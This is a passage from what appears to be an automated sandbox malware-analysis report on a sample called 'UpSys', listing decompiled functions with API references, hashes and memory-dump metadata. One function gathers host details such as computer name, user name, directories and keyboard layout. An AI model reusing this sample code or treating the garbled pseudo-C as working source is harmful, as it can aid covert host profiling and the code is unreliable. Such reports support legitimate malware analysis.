                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9436def84915726b17244ba224cb3aa1d2426b11c732b48ba8552e82c6d262f9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DCE04F3171568092FF9ACE67A6907AA62A0E79CBC0F2C4431BF0987655DB39C4918740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400133F0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E000000011400133F0(void* __eax, long long __rbx, intOrPtr* __rcx, long long _a8) {
				long long _t14;

				_a8 = __rbx;
				if ( *__rcx != 0) goto 0x4001341c;
				 *((intOrPtr*)(__rcx + 0x10)) = 0;
				 *((intOrPtr*)(__rcx + 0x14)) = 0;
				 *((long long*)(__rcx + 0x18)) = _t14;
				return __eax;
			}




                                                                                                                                                                                                        0x1400133f0
                                                                                                                                                                                                        0x140013405
                                                                                                                                                                                                        0x140013407
                                                                                                                                                                                                        0x14001340a
                                                                                                                                                                                                        0x14001340d
                                                                                                                                                                                                        0x14001341b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FindCloseChangeNotification.KERNELBASE(?,?,?,0000000140033006), ref: 0000000140013422
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ChangeCloseFindNotification
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2591292051-0
                                                                                                                                                                                                        • Opcode ID: 12073493ebece98ca4bd8fc7625af26a0a2891a959e8e10718e80bd4bdc1a070
                                                                                                                                                                                                        • Instruction ID: f52c837a63ee973e831f4a1daff7b23859135a2589c7a7ab020d04ae383bd09f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 12073493ebece98ca4bd8fc7625af26a0a2891a959e8e10718e80bd4bdc1a070
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D5E0D833200A0082DB0A8F67F54036876A4E79CBF8F144311F775072E4CB74C4A18740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400151D0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FullNamePath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 608056474-0
                                                                                                                                                                                                        • Opcode ID: 9811c1e7e33bb971aea2b0b975be132afaba1f838ab586cfcc81576bcf114984
                                                                                                                                                                                                        • Instruction ID: 2db12c6fcf92c2dfd20814e97fb490a338034e7f585c01f1514c90cedd2dac32
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9811c1e7e33bb971aea2b0b975be132afaba1f838ab586cfcc81576bcf114984
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 45E0866220468582DA05A763F9413EA5220DB8EFC0F584020FF490FB57CD38C4808700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006D8B0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 53%
                                                                                                                                                                                                        			E0000000114006D8B0(void* __rdx, long long __rsi, signed int* __r8) {
				void* __rbx;
				int _t4;

				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				_t4 = SetCurrentDirectoryW(??); // executed
				if (_t4 != 0) goto 0x4006d8e4;
				E00000001140007A40(__r8, __r8, __rsi);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = 1;
				return 0;
			}





                                                                                                                                                                                                        0x14006d8c0
                                                                                                                                                                                                        0x14006d8c8
                                                                                                                                                                                                        0x14006d8d0
                                                                                                                                                                                                        0x14006d8d5
                                                                                                                                                                                                        0x14006d8da
                                                                                                                                                                                                        0x14006d8dd
                                                                                                                                                                                                        0x14006d8eb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentDirectory
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1611563598-0
                                                                                                                                                                                                        • Opcode ID: 9b5229f3abb4ca8abb92953e7dcf64b7d254f61fc71a3b251a9bd79a9c1cfe13
                                                                                                                                                                                                        • Instruction ID: 9bef51f8f3c58d48bf8d5a0dc7e03b61969e4cb1eed13eda48636b44025e9e13
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9b5229f3abb4ca8abb92953e7dcf64b7d254f61fc71a3b251a9bd79a9c1cfe13
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DEE08C72B0060181EB05AB33D8947A92390A799FD4F185410AB0D4B361DE7CC4C08700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001F270 Relevance: 1.5, APIs: 1, Instructions: 15COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: EncodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2118026453-0
                                                                                                                                                                                                        • Opcode ID: 10d6e1b4221ec34b901ac4d6c479af476afbd8de7c556705d189609587d3ccbc
                                                                                                                                                                                                        • Instruction ID: 0565f79b54bbb677d1be30ca3b6f5585288d21ce801995d89726260605da74d3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 10d6e1b4221ec34b901ac4d6c479af476afbd8de7c556705d189609587d3ccbc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B2D05B32B50A8482DB514B66F55039C33A4E78D7D4F588021E75C07655DA3DC895C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140040EC0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AttributesFile
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3188754299-0
                                                                                                                                                                                                        • Opcode ID: 58a42230ac00a67e3b3b649221a8fda09747c1549d088c7fb717367a6e73e788
                                                                                                                                                                                                        • Instruction ID: cb0c6a59582dc6f835cb376eba9c67d13ccd8cc75ba28e320c8a1acf3228b79d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 58a42230ac00a67e3b3b649221a8fda09747c1549d088c7fb717367a6e73e788
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 43C08C30801041C1FA9A132B0845BD403509F0E3A4FA10A10FBA6731F29638047BA606
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006AB90 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 37%
                                                                                                                                                                                                        			E0000000114006AB90(void* __rdx) {

				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				SetWindowTextW(??, ??); // executed
				return 0;
			}



                                                                                                                                                                                                        0x14006ab9b
                                                                                                                                                                                                        0x14006abaa
                                                                                                                                                                                                        0x14006abb6

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: TextWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 530164218-0
                                                                                                                                                                                                        • Opcode ID: 3279121a47172df1b90d95d2e86ad2e82acdd2a87d699e79111cf8917ebdd7de
                                                                                                                                                                                                        • Instruction ID: b2bbfba0678aac5e93bb0f478062d35c5c63f4a9b3ac1cbfe93f659bea010302
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3279121a47172df1b90d95d2e86ad2e82acdd2a87d699e79111cf8917ebdd7de
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FBD01239B01A0180DE05BB63ECAA38963A1B78DFD2F804812EB0D8B330CE3CC0D68300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400136E0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FilePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 973152223-0
                                                                                                                                                                                                        • Opcode ID: f71c634d36dc0ad90e7fa7749c3a5974f54745f2f37e5f5f17f3cfd088a85727
                                                                                                                                                                                                        • Instruction ID: c306a1c9635067b54673962d28f2c848f7a9a50a7e6cd260e3903185b8e3ffa6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f71c634d36dc0ad90e7fa7749c3a5974f54745f2f37e5f5f17f3cfd088a85727
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FEC0123AB12A8080DA449B27E880B892720A3C8B88F809002AA0E13724CE3CC2969B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084ACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084ACA(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t175;
				intOrPtr _t176;
				intOrPtr _t177;
				intOrPtr _t178;
				signed long long _t181;
				signed int* _t182;
				signed int* _t183;
				void* _t239;
				intOrPtr _t249;
				int* _t271;
				void* _t273;

				_t268 = __rsi;
				_t182 = __rbx;
				 *(_t273 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t175 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t175 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t273 + 0x48)) = __r14;
				 *((long long*)(_t273 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t175 + 0x3e)) - r14b, _t273 + 0x48);
				 *_t175();
				E0000000114003DF10(_t273 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t271, __rsi);
				 *_t271 = r14d;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 6;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 3;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 9;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 5;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 0xa;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 2;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 7;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 8;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 0x40;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 0x41;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 0x42;
				E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = 0x43;
				E00000001140042150(_t182[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t176 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t176 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t239 =  ==  ? L"X86" : L"X64";
				_t177 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t177 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t177 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t177 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t177 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t177 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t177 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t168 =  *((intOrPtr*)(_t177 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t177 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t178 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t178 + 8));
				_t249 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t178, _t182, _t271, _t249 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t273 + 0x20)) = _t273 + 0xa0;
				E00000001140015DE0(_t182, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t273 + 0x20)) = _t273 + 0xa0;
				E00000001140015DE0(_t182, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t273 + 0x628) =  *(_t273 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t273 + 0xa0) & 0x0000ffff, _t168, _t273 + 0xa0, _t182, _t273 + 0xa0, _t268);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t273 + 0x3c0, L"1, 0, 0, 0"), _t273 + 0x3c0) <= 0) goto 0x40084f9c;
				_t183 = _t273 + 0x3c0;
				_t92 =  *(_t273 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t183 = 0x2e;
				goto 0x40084f7f;
				 *_t183 = _t92;
				_t182 =  &(_t183[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t273 + 0x3c0) < 0) goto 0x40084f63;
				_t181 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t273 + 0x3c0 + _t181 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t181, _t182, _t273 + 0x60, _t268, _t271, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t182, _t271, _t181);
				_t271[2] = r12d;
				 *_t271 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t268 = _t181;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t181, _t273 + 0xa0);
				 *(_t273 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L17;
				_t112 = E00000001140007A40(_t182, _t271, _t268);
				 *_t271 = r12d;
				_t271[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t182, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084aca
                                                                                                                                                                                                        0x140084aca
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
